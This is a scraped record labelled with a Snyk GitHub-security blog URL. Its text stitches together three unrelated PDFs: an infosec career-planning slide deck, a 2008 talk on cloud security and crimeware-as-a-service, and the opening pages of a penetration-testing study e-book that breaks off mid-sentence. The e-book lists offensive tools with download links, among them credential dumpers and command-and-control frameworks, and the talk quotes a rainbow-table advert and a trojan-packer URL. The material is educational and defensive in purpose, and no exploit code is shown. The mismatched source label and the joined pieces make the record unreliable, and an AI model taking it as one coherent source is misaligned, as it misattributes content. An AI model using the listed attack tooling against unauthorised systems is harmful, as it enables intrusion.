https://snyk.io/blog/ten-git-hub-security-best-practices/	pdf
Effective InfoSec Career Planning Beyond Job Hopping to a Real Career Lee Kushner / Mike Murray [email protected] / [email protected] 2 Who Are We? • InfoSecLeaders.com – The best source for career guidance for information security professionals – A place to learn, grow, ask and share about the difficulties of navigating this difficult industry. • The principals – Lee Kushner • Over 10 years of Success Recruitment of Information Security Professionals • Founder and CEO of the Leading Information Security Recruitment Firm, LJ Kushner and Associates LLC • Wide Range of Nationally Based Clients from Fortune 500s to security product vendors – Mike Murray • Security professional with a decade of experience in penetration testing and vulnerability research • CISO of Foreground Security, managing partner of Michael Murray and Associates, where he directs diverse security industry projects. • Security blogger (Episteme.ca), podcaster, and regular speaker on social engineering, vulnerability management and the human side of security. 3 The Fake Study • We wanted to open with a great story – The oft-quoted Yale study on Goal Setting – 3% of the students wrote down goals, 97% didn’t – That 3% exceeded the accomplishments of the entire other 97%. • The study isn’t true – Widely quoted, not real. – Why is it so prolific? • Brian Tracy said it best: – “[I] heard this story originally from Zig Ziglar. If it's not true it should be.“ – Because Goal Setting really does make life better • But it’s hard work. So most people don’t do it. A History Lesson They that do not learn their history are doomed to repeat it. 4 5 Timeline – The Early Years 6 Interconnecting October 13, 1994 August 24, 1995 November 8, 1996 Vulnerability Environment: • Syn Flooding • UDP Denial of Service • Smurf attacks • Teardrop • Land 7 The Internet Era Major Vulnerabilities in: • Bind • Sendmail • Sadmind • Apache • IIS • Wu-FTPD • Tooltalk • IMAP • POP • SQL Server • Statd, CDE Major Worms: •Cod Red •Nimda •SQL Slammer •MS Blaster Step 1 Know Where You Want to Go Yogi Berra: “If you don't know where you're going, you'll wind up somewhere else.” 8 9 Creating an Effective Plan • The Best Plan – Ties long-term career strategy to short-term activities – Matches your skills, aptitudes and potential – Allows you to move forward daily. – Deals with more than just your career - your career should be a part of your overall life plan. • How do you do that? – Go beyond Job Descriptions – The importance of Mentoring and having good models • Every plan has risk – You can do anything you want, but you can’t do everything that you want. – Each fork in the road leaves a road untraveled. 10 Exercise: Creating Your Goals Step 2 Know Your Skills 11 12 Exercise: Skill Self-Assessment Step 3 Developing YOUR Career Plan There is no One-Size Fits All 13 14 Exercise: A Short Career Plan Step 4 Effective Career Investment Warren Buffet: “Rule No 1: Never Lose Money.” 15 16 Exercise: Your Investment Portfolio 17 Exercise: Networking: Never Eat Alone 18 Exercise: Mentorship: Who’s Got Your Back? Step 4 Taking a Job Where the Rubber Meets the Road 19 20 Exercise: Alignment Conclusions 21 22 We plan, God Laughs Old Yiddish Proverb 23 23 Announcements • We’re still doing the survey – Through our roles, we gather a lot of anecdotal evidence, but we can’t ever have enough hard data. – With the economy as it is, we wanted more data. • Fill it out: • http://www.infosecleaders.com/survey • We’re launching a podcast! – Check back to http://www.infosecleaders.com in the next couple of weeks for our first episode. – Dealing with all the issues we usually talk about - career management, planning, resumes, etc. • You can always email us with questions: – Lee Kushner: [email protected] – Mike Murray: [email protected]	pdf
Cloud inSecurity [email protected] HIT2008 Cloud inSecurity Who am I? Camera man @ HITCon Member @ Sr. Engineer @ Network Security Web 2.0 Security BSD/Linux Kernel Firewall Internal IPS/IDS Anti-SPAM Antivirus Programming Network Appliance 苦命工程師過勞好人 Orz Network Access Control 加班 Before the Presentation This is a trend discussion. No deep technical issues. It’s about new security model. Not technology. AGENDA Cloud Computing in Security World AGENDA Vendors are eager to adopt this technology. Are bad guys scared? (Or excited ☺) AGENDA and … What about Bad guys 0wn the Cloud. What is the Cloud Computing? What is Cloud Computing? SaaS (Software as a Service) In-the-cloud Service Thin Client Cloud Computing (SaaS) Move applications, storages, … To Cloud Servers. Client becomes simple. Cloud Computing (SaaS) Still no idea? Google web applications Amazon EC2/S3/Simple DB … Cloud Computing (SaaS) No hardware issues, No software update, No storage problem, and You can use it wherever you are. Cloud Computing (SaaS) This model is amazing, and really changed our life. But you may already know, hackers are always ahead of us. They knows cloud computing very long time ago. How it works? Scenario 1 駭客小陳的 Cloud Computing 雲端儲存肉雞儲存 ________ 小陳的雲 (烏雲) 無辜的人小陳馬神後門神 How it works? Scenario 2 還是駭客小陳的 Cloud Computing 雲端運算肉雞運算 ________ 小陳的雲 (烏雲) John 神小陳 Shadow 密碼檔 Grid Computing How it works? Scenario 3 還是駭客小陳的 Cloud Computing 雲端運算肉雞運算 ________ 小陳的雲 (烏雲) 無辜的網站 DDoS 神小陳不爽召喚 Bot Net MD5 Rainbow Table 本站4T硬盘已经上线,共有md5记录 457,354,352,282条，宇宙第一，且还在不断增长中，已包含12位及12位以下数字、8位字母、全部 7 位及以下字母加数字等组合，并针对国内用户做了大量优化，例如已经包含所有手机号码、全国部分大中城市固定电话号码、百家姓、常用拼音等大量组合，另加入了大型网站真实会员密码数据100 万条。本站数据量大，查询速度快，同时支持16 位及32位密码查询。通过对10万会员的真实动网论坛样本数据的测试，本站对于动网论坛密码的命中率达到83%。全国独此一家。 Dark Cloud Malware is software, software is moving to the cloud, therefore, malware is moving to the cloud. Dark Cloud Malware as a Service MaaS Dark Cloud – Profit Driven Criminals have adopted the new model too, and are offering “crimeware as a service” (CaaS). Dark Cloud Cybercrime is now about making money CaaS A few years ago they started selling e-mail addresses, credit-card numbers and other personal information. CaaS More recently they have taken to setting up and then renting out botnets. CaaS business model. CaaS The operator of the CaaS provides real-time information on the size and availability of the botnets. CaaS That can be activated remotely to flood a website with bogus requests (DDoS) send millions of “spam” CaaS That can be activated remotely to grab PC owners’ online banking information, or steal log-in credentials. So … What do security venders do against such sophisticated Maas/CaaS? Secure Cloud – Anti-Spam Secure Cloud – Anti-Spam Anti-spam adopted cloud model long time ago. IP black-list RBL, Spamhaus, SORBS, DSBL, and … Secure Cloud – Anti-Spam Mail Hosted Service (in the cloud) Google Postini, Trend Micro IMHS, and many others Secure Cloud – Anti-Spam Problems: The growing usage of zombies and botnets has also made blacklists much less effective in blocking email. Secure Cloud – URL Filtering Real-time query for URL/Domain Name reputation Black listed model Problems? Secure Cloud – URL Filtering Secure Cloud – URL Filtering … Secure Cloud – URL Filtering Secure Cloud – URL Filtering Secure Cloud – URL Filtering Secure Cloud – URL Filtering Secure Cloud – URL Filtering Secure Cloud – Antivirus Secure Cloud – Antivirus Wait! What? Secure Cloud – Antivirus Antivirus vendors are facing very big challenges. Secure Cloud – Antivirus Panda Security TruPrevent - Collective Intelligence 2007 Secure Cloud – Antivirus TruPrevent - Collective Intelligence Benefiting from “community” knowledge to proactively protect others. Automating and enhancing malware collection, classification and remediation. Gaining knowledge on techniques to improve existing technologies. Deploying new generation of security services from the cloud. Secure Cloud – Antivirus McAfee Artemis Secure Cloud – Antivirus McAfee Artemis Provide customers with the most up-to-date detections for certain malware. Looking for suspicious programs and dlls Send a request to a central database server hosted by McAfee Avert Labs Server will determine if this program is malicious and will respond Secure Cloud – Antivirus Secure Cloud – Antivirus Secure Cloud – Antivirus Trend Micro File Reputation Service and Smart Protection Network June, 2008 Secure Cloud – Antivirus Threat Protection Databases Patterns Past Slowly Changing <50 Per Day Rapidly Changing Patterns Reputation SDK SDK >5,000 Per Day Today Threat Protection Databases Traffic Reputation Agent Agent Multi-Threat Correlation SDK SDK Future Threat Protection Databases Secure Cloud – Antivirus Secure Cloud – Antivirus Trend Micro FRS Minimal endpoint pattern updates. Significantly reduce endpoint memory consumption Protect in real time Reduce the need for pattern updates Secure Cloud - Benefits Effectiveness Flexibility Ease of Deployment and Use No admin and setup overhead Low total cost of Ownership Scalability and Reliability Secure Cloud - Benefits It hopes the shift in architecture will help to speed its reaction to zero-day threats and improve the performance of end users' PCs. Secure Cloud – Challenge - Technical Must be Stable and Internet Connected Secure Cloud – Challenge - Technical DNS becomes very critical. DNS hijacking risks. DNS must be stable as well. Secure Cloud – Challenge - Technical Antivirus ‘in the cloud’ problems Easier to be bypassed? (Cache attack) It is still pattern based scanning. (against dark cloud packer) http://meatchicken.com/packer.pl?file=trojan.exe Overestimated forensics engine Secure Cloud – Challenge - Technical Are they all “hacker safe” ;-) It makes total sense but they don’t mention what will happen if they get hacked What you send is not what is received? Cloud becomes critical. (once hacked, all hacked.) Secure Cloud – Challenge – non Technical Privacy Issue. When someone else hosts and processes your data, how can you tell if it is "secure?" If you haven’t noticed yet, everything is pushed into the cloud, not only your social life but your personal data and now even your health records thanks to Google. Secure Cloud – Challenge – non Technical Cost the cost of shifting away form their existing deployment. Secure Cloud – Challenge – non Technical Enterprise Concerns IT against. New model introduced new vulnerabilities. Billing model changed. Secure Cloud – Challenge SaaS infrastructures are definitely more attractive to attackers. :) Secure Cloud – Challenge Are you cloud services used by normal user or bad guys? Leverage existing cloud services (Hacking - power by Google cpu/bandwidth/…) Discussion Discussion White list vs Black list Discussion Behavior / heuristic analysis vs Signature based protection Discussion Is it just a white or black listed filtering model. No, the most valuable thing is collaboration Discussion Correlation technology with behavioral analysis. Feedback loops contributing Conclusion It is still worth to try for security vendors (as well as for hackers) Behind the Cloud Who is watching you?	pdf
Security Assurance Basics: Offensive Security Assurance “Penetration Testing 101” (mRr3b00t’s Notebook draft edition 0.3) Author: Daniel Card Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 2 Contents Copyright ............................................................................................................................................... 10 Document Control................................................................................................................................. 10 Version .............................................................................................................................................. 10 A glimpse at mRr3b00t’s world ............................................................................................................. 11 Introduction .......................................................................................................................................... 12 Disclaimer.............................................................................................................................................. 12 Realities of System Security Assurance Activities ................................................................................. 13 Sales ...................................................................................................................................................... 14 Scoping .................................................................................................................................................. 14 Test Focus ......................................................................................................................................... 14 Test Types ......................................................................................................................................... 14 Test Scope Definition ........................................................................................................................ 14 Planning ................................................................................................................................................ 15 The Penetration Testing Project ........................................................................................................... 15 Reporting, Findings and Recommendations ......................................................................................... 15 Debriefing.............................................................................................................................................. 15 Penetration Testing Tools – The basics ................................................................................................. 16 Open Source Intelligence Gathering Tools ........................................................................................... 16 Network and Vulnerability Scanning Tools ........................................................................................... 16 Credential Testing Tools ........................................................................................................................ 16 Debugging Tools .................................................................................................................................... 16 Software Assurance Tools ..................................................................................................................... 17 Wireless Testing .................................................................................................................................... 17 Web Proxy Tools ................................................................................................................................... 17 Social Engineering Tools ....................................................................................................................... 17 Remote Access Tools ............................................................................................................................ 17 Network Tools ....................................................................................................................................... 17 Mobile Tools ......................................................................................................................................... 17 Misc Tools ............................................................................................................................................. 17 Dependencies........................................................................................................................................ 18 Guest Operating Systems ...................................................................................................................... 18 Vulnerable Pre-Made Targets ........................................................................................................... 18 Extras For learning ............................................................................................................................ 18 Types of Penetration Test ..................................................................................................................... 19 Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 3 Frameworks .......................................................................................................................................... 19 Resources .............................................................................................................................................. 19 Project ................................................................................................................................................... 20 Scoping, Project Setup, Legal & Regulatory, Scheduling, Rules of Engagement .............................. 20 Penetration Testing Phases ................................................................................................................... 20 Post Exploitation ................................................................................................................................... 20 Report Creation and Delivery ............................................................................................................... 20 Key Stakeholder and Team Playback .................................................................................................... 20 Tool bag ............................................................................................................................................. 21 Recon Types and Focuses ..................................................................................................................... 21 Passive Recon ........................................................................................................................................ 22 Search Engines ...................................................................................................................................... 22 Example – Google Dorking ................................................................................................................ 22 Types ............................................................................................................................................. 22 Operators ...................................................................................................................................... 22 Example ............................................................................................................................................. 22 DNS ........................................................................................................................................................ 22 Maltego ................................................................................................................................................. 22 Spiderfoot ............................................................................................................................................. 23 Shodan .................................................................................................................................................. 23 Recon-NG .............................................................................................................................................. 23 The Harvester ........................................................................................................................................ 23 Documenting Findings .......................................................................................................................... 23 Network Scanning ................................................................................................................................. 24 Nmap (Network Mapper).................................................................................................................. 24 Common scan types .......................................................................................................................... 24 Scanning ranges ............................................................................................................................ 24 OS Identification Through TTL........................................................................................................... 24 Packet Crafting ...................................................................................................................................... 25 Network Mapping Tools ........................................................................................................................ 25 Mapping the Network with Metasploit ............................................................................................ 25 Armitage............................................................................................................................................ 25 Cobalt Strike ...................................................................................................................................... 26 Other C2 Servers ................................................................................................................................... 26 Enumerations Basics ............................................................................................................................. 26 Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 4 Banner Grabbing ............................................................................................................................... 26 Telnet ............................................................................................................................................ 26 SMB ............................................................................................................................................... 26 SMTP ............................................................................................................................................. 26 FTP ................................................................................................................................................. 26 On box enumerations ....................................................................................................................... 26 Basic Local Windows Enumeration ....................................................................................................... 28 Clearing Up Output (cmd.exe) ...................................................................................................... 28 PowerShell (using PowerShell) ..................................................................................................... 28 Basic Linux Enumeration ....................................................................................................................... 29 Metasploit ............................................................................................................................................. 29 Cool msf commands ...................................................................................................................... 29 On Box Enumeration (Linux) ................................................................................................................. 30 BASH (Basic Enumeration) ................................................................................................................ 30 METASPLOIT (Basic Enumeration) .................................................................................................... 30 Modules ........................................................................................................................................ 30 Local Shell Test ...................................................................................................................................... 30 NULL SESSIONS ...................................................................................................................................... 32 WebServer Enumeration ...................................................................................................................... 33 HTTP Response codes ....................................................................................................................... 33 Vulnerability Scanning .......................................................................................................................... 33 Tools .................................................................................................................................................. 33 Scripting ................................................................................................................................................ 33 Common Scripting/Programming Languages ................................................................................... 33 Generally Interpreted ................................................................................................................... 33 Compiled ....................................................................................................................................... 33 Penetration Testing Documentation Tools ........................................................................................... 34 Report/Note Taking Tools ..................................................................................................................... 34 Diagramming Tools ............................................................................................................................... 34 RFID Duplicators ................................................................................................................................ 35 Techniques ............................................................................................................................................ 35 Phishing Task ......................................................................................................................................... 36 Physical Attacks ..................................................................................................................................... 36 Physical Controls ............................................................................................................................... 36 Door Access Controls ............................................................................................................................ 36 Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 5 Enumeration, Vulnerability Identification ............................................................................................ 37 Picking a vulnerability scanning ........................................................................................................ 37 Tooling .............................................................................................................................................. 37 Picking a vulnerability scanning Tool ................................................................................................ 37 Open source vs Commercial ......................................................................................................... 37 Cloud vs On Premises ............................................................................................................................ 37 Interpreting Output .............................................................................................................................. 37 Asset Categorisation ......................................................................................................................... 37 Adjudication ...................................................................................................................................... 37 False Positives ................................................................................................................................... 37 Common Themes .............................................................................................................................. 37 Prioritization ..................................................................................................................................... 38 Mapping & Prioritisation ....................................................................................................................... 38 Attack Techniques ................................................................................................................................. 38 Techniques ............................................................................................................................................ 38 Exploits & Payloads ............................................................................................................................... 39 Exploit ............................................................................................................................................... 39 Payload .............................................................................................................................................. 39 Staged vs Upstaged Payloads ............................................................................................................ 39 Cross Compiling Code ........................................................................................................................... 39 Exploit Modification .............................................................................................................................. 39 Exploit Chaining .................................................................................................................................... 39 Proof of Concepts ................................................................................................................................. 39 Deception Tactics .................................................................................................................................. 39 Password Attacks .................................................................................................................................. 39 Attacks .................................................................................................................................................. 40 Ethernet & TCP/IP Networks............................................................................................................. 40 Network Protocol Exploits .................................................................................................................... 41 SMB ................................................................................................................................................... 41 SNMP ................................................................................................................................................. 41 FTP ..................................................................................................................................................... 41 DNS .................................................................................................................................................... 41 Name Resolution ............................................................................................................................... 42 Wireless Networks ................................................................................................................................ 42 Tools .................................................................................................................................................. 42 Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 6 Attacks and Techniques .................................................................................................................... 42 Lab Activities ..................................................................................................................................... 43 Replay Steps ...................................................................................................................................... 43 Fragmentation Attacks ...................................................................................................................... 43 Aircrack-ng ........................................................................................................................................ 43 Specialist Systems ................................................................................................................................. 44 Mobile Systems ............................................................................................................................. 44 Industrial Control Systems (ICS) and SCADA (supervisory control and data acquisition) ................. 44 ICS ..................................................................................................................................................... 44 SCADA ............................................................................................................................................... 44 Embedded Systems ........................................................................................................................... 44 Real -Time OS’s (RTOS) ..................................................................................................................... 44 Internet of Things (IoT) ..................................................................................................................... 44 Point of Sale Systems ........................................................................................................................ 44 Host based Exploitation ........................................................................................................................ 45 Linux Package Managers ....................................................................................................................... 45 Windows Systems and Vulnerabilities .................................................................................................. 45 Types of Vulnerability ....................................................................................................................... 45 Web Application Vulnerabilities ....................................................................................................... 45 Common Windows Exploit Examples ................................................................................................... 46 More modern examples .................................................................................................................... 46 Dumping Hashes & Password Cracking................................................................................................. 46 Techniques ............................................................................................................................................ 46 Windows Credential Dumping .......................................................................................................... 47 Dump the SAM .................................................................................................................................. 47 Registry export .............................................................................................................................. 47 Common nix Vulnerabilities .................................................................................................................. 48 LINUX ..................................................................................................................................................... 48 Common Exploits .................................................................................................................................. 48 Password Cracking for LINUX ................................................................................................................ 48 Credentials are stored ........................................................................................................................... 48 Protocol Exploitation ............................................................................................................................ 49 Windows ........................................................................................................................................... 49 NIX ..................................................................................................................................................... 49 Protocols and Services ...................................................................................................................... 49 Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 7 Windows ....................................................................................................................................... 49 Linux .............................................................................................................................................. 49 LAB Activity ........................................................................................................................................... 49 Windows ........................................................................................................................................... 49 Linux .................................................................................................................................................. 49 Exploitation ....................................................................................................................................... 49 Windows 7 .................................................................................................................................... 49 File Permissions and Exploitations ........................................................................................................ 50 Windows ........................................................................................................................................... 50 Linux .................................................................................................................................................. 50 Linux Sensitive Files........................................................................................................................... 50 Resources .......................................................................................................................................... 50 Kernel Vulnerabilities and Exploits ....................................................................................................... 50 Memory Vulnerabilities ........................................................................................................................ 50 Default Accounts ................................................................................................................................... 51 Windows ........................................................................................................................................... 51 Linux (nix) .......................................................................................................................................... 51 Sandboxes ............................................................................................................................................. 51 Windows ........................................................................................................................................... 51 Escape Techniques ........................................................................................................................ 51 MAC OS & IOS ....................................................................................................................................... 52 Android ................................................................................................................................................. 52 Physical Attacks ..................................................................................................................................... 53 Common Cracking Tools ....................................................................................................................... 53 Attacking Applications and Web Applications ...................................................................................... 54 Common Web Application Vulnerabilities ............................................................................................ 54 Common Misconfigurations .............................................................................................................. 54 LAB Tasks ........................................................................................................................................... 55 Authentication & Authorisation Attacks ............................................................................................... 56 Injection Attacks ................................................................................................................................... 56 HTML Injection .................................................................................................................................. 56 Cross Site Scripting (XSS) ................................................................................................................... 56 Cross Site Request Forgery (XSRF) .................................................................................................... 56 Clickjacking ........................................................................................................................................ 56 Other Vulnerabilities/Exploits ............................................................................................................... 56 Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 8 Lab Work ........................................................................................................................................... 57 Static Code Analysis .............................................................................................................................. 58 Dynamic Code Analysis ......................................................................................................................... 58 Fuzzing .................................................................................................................................................. 58 Reverse Engineering.............................................................................................................................. 58 Post Exploitation ................................................................................................................................... 59 Enumeration ......................................................................................................................................... 59 Lateral Movement................................................................................................................................. 59 Pivoting ............................................................................................................................................. 59 Maintaining Persistence........................................................................................................................ 59 Evading Security Solutions & Anti-Forensics......................................................................................... 59 Key Areas............................................................................................................................................... 60 Report Format ....................................................................................................................................... 60 Considerations ...................................................................................................................................... 60 Prioritising Findings ............................................................................................................................... 60 Authentication Recommendations ....................................................................................................... 60 Authentication Recommendations ....................................................................................................... 60 Input and Output Sanitisation .............................................................................................................. 60 Parametrisation of Queries (Declared Statements) .............................................................................. 61 Hardware and Software Hardening ...................................................................................................... 61 Hardening Measures ......................................................................................................................... 61 Mobile Device Management (MDM) .................................................................................................... 62 MDM Features .................................................................................................................................. 62 Secure Software Development ............................................................................................................. 63 Testing ............................................................................................................................................... 63 Microsoft Threat Modelling .................................................................................................................. 65 IEEE 802.11 Wireless Standard ............................................................................................................. 65 C2 Frameworks ..................................................................................................................................... 65 DNS Tunnelling ...................................................................................................................................... 65 External Resources ................................................................................................................................ 66 The Cyber Mentor Courses on Udemy .............................................................................................. 66 HackTheBox....................................................................................................................................... 66 TryHackMe ........................................................................................................................................ 66 Pluralsight ......................................................................................................................................... 66 Proctored Online Exam Details ............................................................................................................. 67 Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 9 Online Practise Questions - Free ........................................................................................................... 67 Ordering Exam Vouchers ...................................................................................................................... 67 Vouchers Resellers ............................................................................................................................ 67 Windows Vulnerabilities ....................................................................................................................... 67 OS X ....................................................................................................................................................... 67 Resources & Useful Links ...................................................................................................................... 67 UAC Bypasses .................................................................................................................................... 67 Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 10 Copyright This document is copyright of Xservus Limited. It is free for public use to support educational efforts. Document Control Version Version Author Date Notes Status 0.1 Daniel Card 23/07/2020 Initial Creation Draft 0.2 Daniel Card 24/07/2020 Updated Draft 0.3 Daniel Card 27/07/2020 Updates following exam Draft Release Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 11 A glimpse at mRr3b00t’s world Hi, I’m Dan! Nice to meet you (if I don’t already know you)! I’m an information technology and security professional (you know ‘teh Cyberz’) who has spent his career on a constant learning journey. I’ve planned, built, broken, reviewed and sometimes managed to break into a range of systems over the years. By day I help organisations improve their technology and security management (I do this with my own style, blending traditional management consultancy with hands on tech skills combined with a truck load of energy and passion) helping organisations change the way they do things (hopefully for the better :D) I spent a lot of my non project time also creating community content, games and sometimes finding time to go and hax all the things in capture the flag games) If for some reason you aren’t bored of my after reading some of my notes, feel free to come chat to me online, I mostly hangout on Twitter (https://twitter.com/UK_Daniel_Card) This is the first draft release of the notes I took whilst I did the Comptia Pentest+ course and exam over ~1-week period. Everything in here is draft, if you find something that’s totally wrong please let me know, if you think there’s cool stuff I could add that’s great hit me up. If you think you could do it better, please go and make your own and share all the things with the world! I’m not a fan of gatekeeping and I try and share knowledge and content which I think can help people (I’ve got a few videos on https://www.youtube.com/c/PwnDefend) I really hope these notes are of at least some use, even if they are just interesting to see the process, I went through to randomly decided to do a course and exam in the space of a week! I managed to sit a ~25 hour CBT course on Pluralsight and book/take the exam in a week. The exam I think I got 833 points in about 60 minutes. I’d highly recommend doing a lot more prep than I did, do lab work, learn the craft and the theory! (also there’s loads of bits of paper you can get, the fun part is the journey not the destination!) Keep an eye out as well because I’ve trimmed some content out for this initial draft publish so there might be more to come in the future! Be safe, don’t have shit passwords and stop exposing RDP to the net in an insecure manner! Peace! – mRr300t Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 12 Introduction The modern world is filled with technology, the internet enabled global communications, miniaturisation has provided the world with even more pervasive and embedded technology services that are integrated into daily life. With this explosion of technology, we are currently in a world where technology is so integrated into our lives that the role technology places would be considered critical. Banks, Power Plants, Factories, Healthcare Services, Restaurants, Shops, Transport Services, Cars, Phones, Point of Sale systems, Water Supplies, you name it, it probably relies on a computer to operate. This e-book is designed to help people have a BASIC understanding of penetration testing. It is not a complete guide to HACKING THE PLANET and only touches on tools, techniques and practises that are used in the cyber realm to affect the CONFIDENTIALITY, INTEGRITY or AVAILABILITY of digital assets. I’ve based the core of this on intel which will help people in foundational certificates such as the PenTest+ but these are also foundational areas which can support: • eJPT • OSCP • CEH This isn’t an official guide, it’s not a HOW TO, it’s simply a collection of information I collected, curated and created whilst I was doing some exploration. I’ve tried to add my own spin to some areas, if I see something that’s totally missing or needs modernising, I’ve tried to call this out. It is not designed as a book to read, you will NEED to develop, train and grow your skills using labs and penetration testing platforms such as: • TryHackMe • HackTheBox • VulnHub • Vulnerable VMs • Vulnerable Training Tools (e.g. OWASP Juice Shop, OWASP BWA, OWASP Mutillidae 2) And if you keep an eye out, maybe a PwnDefend CTF game! I’d also highly recommend that you leverage either an online training service (such as Pluralsight or ITPRO.TV) or a formal instructor led course. Self study has some limitations, your view/viewpoint may Disclaimer Using offensive security testing techniques without authorisation from the asset owner is almost certainly illegal. Use these at your own risk. Do NOT break the LAW! The materials in this document are not endorsed by any third-party company. The content here is NOT specific to a single course, certification, framework Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 13 Realities of System Security Assurance Activities • Penetration testing is not a single task, there are many views, viewpoints and perspectives. • Penetration is not a silver bullet • When we look at spend on penetration testing vs revenue of a business the % is tiny, bear that in mind! • This is not Hollywood; you will NOT be raining in shells getting r00t and owning everything you see. Even if you can get a shell, your scope may indicate that’s the end of the test. • In unauthenticated black box external web tests you might see people say the expression ‘SHELLS are DREAMS’ – that’s because the % likelihood of you finding RCE or having enough time to successfully execute a potential vulnerability may be far more limited than you think. • Penetration testing is NOT red teaming • Red teaming also has a defined scope • You can do security testing without calling it a penetration test of RED team • Penetration testing without doing any other security assurance activity first is normally not very efficient or recommended • White box testing is generally more efficient • Report writing takes time (if you want to have a good report that is) • You might not find EVERY vulnerability (in fact I’d say it’s unlikely you will find EVERYTHING ever) • The landscape is fast moving secure today != secure tomorrow • Penetration testing is POINT IN TIME • You will almost certainly need help, built a network of trusted peers, colleagues and friends is a highly recommended thing to do • There are constraints (a lot more than people think of) • Security testing requires a broad and deep level of experience not only with exploitation but also to be able to articulate remediations and mitigations. Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 14 Learning Modules There’s a whole heap of things you need to know about conducting a penetration test, and it may come to a surprise to many but there’s a lot of logistics, planning and paperwork that’s involved. I’m not going to be exhaustive here (or highly verbose) but rather highlight some key areas for you to think about. Sales Penetration testing isn’t normally conducted in house; therefore, you should be aware that there is a requirement for services to be SOLD. So, consider things like the following: • Margin/Revenue • Market Positioning • Costs • Timescales • Certifications • Standards Sales is not easy but it’s critical that the sales process is conducted in a manner then ensures both the recipient and the provider (that’s you) get value. Realise there are constraints but also realise that in sales you can say no. We are here to help people, not just tell them yes. Not everyone in the world is good at scoping their own requirements let along designing a penetration test that’s valid for their specific scenario so communication here is key. Scoping Test Focus • Objective • Compliance Test Types • Black Box • Grey Box • White Box • Hybrid Test Scope Definition • Authenticated, Unauthenticated • Social Engineering • Denial of Service, Stress Testing • Web, Application, API, Infrastructure, Hardware, Wireless • Inclusions • Targets and Test Types • Exclusions • Constraints • Times of Testing Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 15 Planning • Authorisations and Waivers • Scope Agreement • Rules of Engagement • Scheduling • Communications • Escalations The Penetration Testing Project • Passive Recon • Active Recon • Vulnerability Assessment • Penetration • Exploitation • Post Exploitation This is not the ONLY flow, and, it’s iterative and can jump around. • Post Test Clean-up Reporting, Findings and Recommendations • Exec Summary • Categorisation of Findings • Priority • Standards such as CVSS • Safe handling of information and documents Debriefing • Post Testing and report creation debrief o Ensure key sponsor is kept up to date and in the loop o Brief wider team ▪ Two-way communication flow Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 16 Penetration Testing Tools – The basics We have put a list of tools that are covered in the PenTest+ course (but these are also applicable to any penetration testing service or course). Where possible links to tools and download locations have been provided. Clearly you can deploy a security testing distro such as Kali Linux, Parrot etc. buy you may want to simply install Ubunt or use Windows and WSL 2. Open Source Intelligence Gathering Tools • Whois • Nslookup • FOCA (https://github.com/ElevenPaths/FOCA) • Maltego (https://www.maltego.com/) • TheHarvester (https://github.com/laramies/theHarvester) • Shodan (https://www.shodan.io/) • Recon-ng (https://github.com/lanmaster53/recon-ng) Network and Vulnerability Scanning Tools • Nmap (https://nmap.org/download.html) • Nikto (https://cirt.net/Nikto2) • OpenVAS (https://www.openvas.org/) • SQLMap (https://github.com/sqlmapproject/sqlmap) • Nessus (https://www.tenable.com/products/nessus) Credential Testing Tools • John (https://www.openwall.com/john/) • Hashcat (https://hashcat.net/hashcat/) • Medusa (https://github.com/jmk-foofus/medusa) • THC-Hydra (https://github.com/vanhauser-thc/thc-hydra) • CeWL (https://github.com/digininja/CeWL/) • Cain and Abel (https://web.archive.org/web/20190603235413if_/http://www.oxid.it/cain.html) • Mimikatz (https://github.com/gentilkiwi/mimikatz) • Patator (https://github.com/lanjelot/patator) • Dirbuster (https://sourceforge.net/projects/dirbuster/) • W3AF (http://w3af.org/download) Debugging Tools • OLLYDBG (http://www.ollydbg.de/download.htm) • Immunity debugger (https://www.immunityinc.com/products/debugger/) • Gdb (https://www.gnu.org/software/gdb/download/) • WinDBG (https://docs.microsoft.com/en-us/windows- hardware/drivers/debugger/debugger-download-tools) • IDA (https://www.hex-rays.com/products/ida/support/download_freeware/) Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 17 Software Assurance Tools • FindBugs (http://findbugs.sourceforge.net/) • FindSecBugs (https://find-sec-bugs.github.io/) • Peach (http://community.peachfuzzer.com/WhatIsPeach.html) • AFL (American Fuzzy Lop) (https://github.com/google/AFL) • SonarQube (https://www.sonarqube.org/downloads/) • YASCA (https://sourceforge.net/projects/yasca/) Wireless Testing • Aircrack-ng (https://www.aircrack-ng.org/downloads.html) • Kismet (https://www.kismetwireless.net/downloads/) • WiFite (https://github.com/derv82/wifite2) • WiFi-Pumpkin (https://github.com/P0cL4bs/WiFi-Pumpkin-deprecated) Web Proxy Tools • OWASP ZAP (https://www.zaproxy.org/download/) • BURP Suite (https://portswigger.net/burp/communitydownload) Social Engineering Tools • Social Engineering Toolkit (https://github.com/trustedsec/social-engineer-toolkit) • BeEF (Browser Exploitation Framework) (https://github.com/beefproject/beef) Remote Access Tools • SSH • Ncat (https://nmap.org/ncat/) • Netcat • Proxychains (https://github.com/haad/proxychains) Network Tools • Wireshark (https://www.wireshark.org/download.html) • Hping (https://github.com/antirez/hping) Mobile Tools • Drozer (https://github.com/FSecureLABS/drozer) • APKX (https://github.com/b-mueller/apkx) • APK Studio (https://github.com/vaibhavpandeyvpz/apkstudio/releases) Misc Tools • Powersploit (https://github.com/PowerShellMafia/PowerSploit) • Searchsploit (https://www.exploit-db.com/searchsploit) • Responder (https://github.com/SpiderLabs/Responder) • Impacket (https://github.com/SecureAuthCorp/impacket) • Empire (C2) (https://github.com/EmpireProject/Empire) • Metasploit (https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers) Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 18 Lab Environment Dependencies • An internet connection • A Host System that supports running a type 2 hypervisor or Cloud IaaS provider o Enough CPU resources o 16GB RAM o 1TB Storage • A type-2 